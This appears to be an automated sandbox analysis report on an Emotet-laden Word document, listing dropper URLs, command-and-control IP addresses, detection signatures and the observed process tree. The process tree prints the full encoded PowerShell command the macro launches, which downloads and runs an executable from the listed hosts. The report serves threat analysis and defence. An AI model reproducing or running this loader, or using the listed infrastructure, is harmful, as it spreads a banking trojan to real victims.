Analysis

  • max time kernel
    136s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    18/09/2020, 20:49

General

  • Target
    emotet_e1_94cbcca1d095e7f389dc8a63c2efe17bf54bbbdab3b2ae794b6093bd8d65e9ce_2020-09-18__204706._doc.doc
  • Size 178KB
  • Sample200918-dartfgbzza
  • SHA256 94cbcca1d095e7f389dc8a63c2efe17bf54bbbdab3b2ae794b6093bd8d65e9ce
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://msmartyford.com/assets/BIO/

  • exe.dropper

    http://jiafunongye.com/application/zh3/

  • exe.dropper

    http://calledtochange.org/CalledtoChange/Uh/

  • exe.dropper

    https://janataralo.com/public_html/k/

  • exe.dropper

    https://www.breedenandsilver.com/wp-content/j/

  • exe.dropper

    http://valleymedicalandsurgicalclinic.com/ujftb/p/

  • exe.dropper

    https://cimsjr.com/hospital/x2f/

Extracted

Family
  • emotet

C2
  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_94cbcca1d095e7f389dc8a63c2efe17bf54bbbdab3b2ae794b6093bd8d65e9ce_2020-09-18__204706._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:520
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABKADMAYQBqADkAcgBpAD0AKAAnAFcAJwArACcAOAAnACsAKAAnADgAbwAnACsAJwBrADAAZQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAEUAcgBwAHIATwBGAGkAbABFAFwAZwBQAGYAMQBTAFkAeABcAEYAOQBxAFMAbgAzAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGMAVQBSAEkAdAB5AHAAUgBPAFQAYABPAGMAbwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACwAJwApACsAKAAnACAAJwArACcAdABsACcAKQArACcAcwAnACsAKAAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAFQAZwBtAHEAbQBuAGIAIAA9ACAAKAAoACcARQB2ADQANQAnACsAJwBlACcAKwAnADMAJwApACsAJwBoAG4AJwApADsAJABLAHUAMABoAG8AYgAwAD0AKAAnAEgAZAAnACsAKAAnAHUAbQAzAGYAJwArACcAMwAnACkAKQA7ACQAQQBtAGQAMwA4AHkAOAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADIAJwArACcAQwB1ACcAKQArACcARwAnACsAKAAnAHAAZgAxAHMAeQAnACsAJwB4ACcAKQArACgAJwAyAEMAdQBGADkAJwArACcAcQAnACkAKwAoACcAcwBuACcAKwAnADMAeAAnACkAKwAnADIAQwAnACsAJwB1ACcAKQAuACIAUgBlAHAATABgAEEAQwBFACIAKAAoAFsAYwBoAEEAUgBdADUAMAArAFsAYwBoAEEAUgBdADYANwArAFsAYwBoAEEAUgBdADEAMQA3ACkALAAnAFwAJwApACkAKwAkAFQAZwBtAHEAbQBuAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABNADYAdgAzAGoAcABrAD0AKAAoACcAVAAnACsAJwBtADMAXwAnACkAKwAoACcANQA5ACcAKwAnAHYAJwApACkAOwAkAEgANgByAGIAdwBiAGoAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAQwBMAEkAZQBuAHQAOwAkAEkAMwBrAHgAdQB3AG8APQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtACcAKwAnAHMAJwApACsAKAAnAG0AYQAnACsAJwByAHQAeQAnACsAJwBmAG8AcgAnACkAKwAnAGQALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAnAHQAJwArACgAJwBzAC8AJwArACcAQgBJAE8AJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGoAaQBhACcAKwAnAGYAdQBuAG8AbgAnACsAJwBnAHkAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYQAnACsAKAAnAHAAJwArACcAcABsACcAKwAnAGkAYwBhAHQAaQAnACsAJwBvAG4AJwApACsAJwAvACcAKwAnAHoAJwArACcAaAAzACcAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACcALwBjACcAKwAnAGEAbAAnACsAKAAnAGwAJwArACcAZQBkAHQAJwApACsAKAAnAG8AYwAnACsAJwBoACcAKQArACcAYQAnACsAKAAnAG4AJwArACcAZwBlACcAKQArACgAJwAuAG8AcgAnACsAJwBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACcAbABsACcAKwAoACcAZQBkAHQAbwAnACsAJwBDACcAKwAnAGgAYQBuAGcAJwArACcAZQAvAFUAJwApACsAKAAnAGgALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAagBhAG4AYQB0ACcAKQArACcAYQByACcAKwAnAGEAJwArACcAbAAnACsAKAAnAG8AJwArACcALgBjACcAKwAnAG8AbQAvACcAKQArACgAJwBwAHUAYgBsAGkAJwArACcAYwAnACsAJwBfAGgAdABtAGwALwBrACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAJwB0AHAAJwArACgAJwBzACcAKwAnADoALwAvAHcAdwB3AC4AJwArACcAYgByACcAKQArACgAJwBlACcAKwAnAGUAZABlACcAKwAnAG4AYQBuAGQAcwBpAGwAJwApACsAKAAnAHYAZQByACcAKwAnAC4AYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwAC0AJwArACcAYwAnACkAKwAoACcAbwBuACcAKwAnAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AdgAnACkAKwAnAGEAbAAnACsAKAAnAGwAZQB5ACcAKwAnAG0AZQAnACkAKwAoACcAZAAnACsAJwBpAGMAYQBsACcAKQArACgAJwBhACcAKwAnAG4AZABzACcAKQArACgAJwB1AHIAJwArACcAZwAnACkAKwAnAGkAYwAnACsAKAAnAGEAbABjAGwAJwArACcAaQAnACkAKwAoACcAbgBpAGMALgBjAG8AJwArACcAbQAvACcAKwAnAHUAagAnACkAKwAnAGYAdAAnACsAJwBiAC8AJwArACgAJwBwACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAnACsAJwAvAGMAaQAnACkAKwAnAG0AJwArACcAcwBqACcAKwAoACcAcgAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAGgAJwArACcAbwBzAHAAJwArACcAaQB0AGEAJwApACsAKAAnAGwALwB4ACcAKwAnADIAJwApACsAJwBmAC8AJwApAC4AIgBTAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAdQB0ADkAagBxAHIAPQAoACcAWQAnACsAKAAnADYAYQAnACsAJwA3ACcAKQArACgAJwB1AG0AJwArACcAbwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAaAB6AGMAagBqAHMAIABpAG4AIAAkAEkAMwBrAHgAdQB3AG8AKQB7AHQAcgB5AHsAJABIADYAcgBiAHcAYgBqAC4AIgBkAGAAbwB3AG4ATABgAG8AYQBgAGQAZgBpAGwAZQAiACgAJABCAGgAegBjAGoAagBzACwAIAAkAEEAbQBkADMAOAB5ADgAKQA7ACQAQQB3AHkAOQB3AHcAcQA9ACgAJwBHAGYAJwArACgAJwBxAGMAagAnACsAJwBfADEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQQBtAGQAMwA4AHkAOAApAC4AIgBMAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADMANQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABBAG0AZAAzADgAeQA4ACkAOwAkAFoAegBoAHcANgA5AGEAPQAoACgAJwBTACcAKwAnADUAbwAnACkAKwAoACcAcAAnACsAJwBvAGkAJwApACsAJwBwACcAKQA7AGIAcgBlAGEAawA7ACQASQAwAGgAawB4ADAAYgA9ACgAJwBPACcAKwAoACcAeQBlAF8AJwArACcAbwB3ADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbgB1AHgAZwA1AGcAPQAoACgAJwBRACcAKwAnAHUANwAzACcAKQArACcAYgAnACsAJwB2ADcAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3128
    • C:\Users\Admin\Gpf1syx\F9qsn3x\Ev45e3hn.exe
      "C:\Users\Admin\Gpf1syx\F9qsn3x\Ev45e3hn.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3928
      • C:\Windows\SysWOW64\GameBarPresenceWriter.proxy\KBDTT102.exe
        "C:\Windows\SysWOW64\GameBarPresenceWriter.proxy\KBDTT102.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3812

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/520-6-0x0000025B6869F000-0x0000025B686A4000-memory.dmp

        memory/520-1-0x0000025B68516000-0x0000025B6851B000-memory.dmp

        memory/520-7-0x0000025B6869A000-0x0000025B6869F000-memory.dmp

        memory/520-8-0x0000025B6869F000-0x0000025B686A4000-memory.dmp

        memory/520-0-0x00007FFEF2670000-0x00007FFEF2D36000-memory.dmp

        memory/520-3-0x0000025B68516000-0x0000025B6851B000-memory.dmp

        memory/520-2-0x0000025B68516000-0x0000025B6851B000-memory.dmp

        memory/3128-9-0x00007FFEEAFA0000-0x00007FFEEB98C000-memory.dmp

        memory/3128-10-0x00000266E8740000-0x00000266E8741000-memory.dmp

        memory/3128-11-0x00000266E8A70000-0x00000266E8A71000-memory.dmp

        memory/3812-20-0x00000000006B0000-0x00000000006C0000-memory.dmp

        memory/3812-19-0x0000000000580000-0x0000000000592000-memory.dmp

        memory/3928-16-0x00000000005F0000-0x0000000000600000-memory.dmp

        memory/3928-15-0x00000000005D0000-0x00000000005E2000-memory.dmp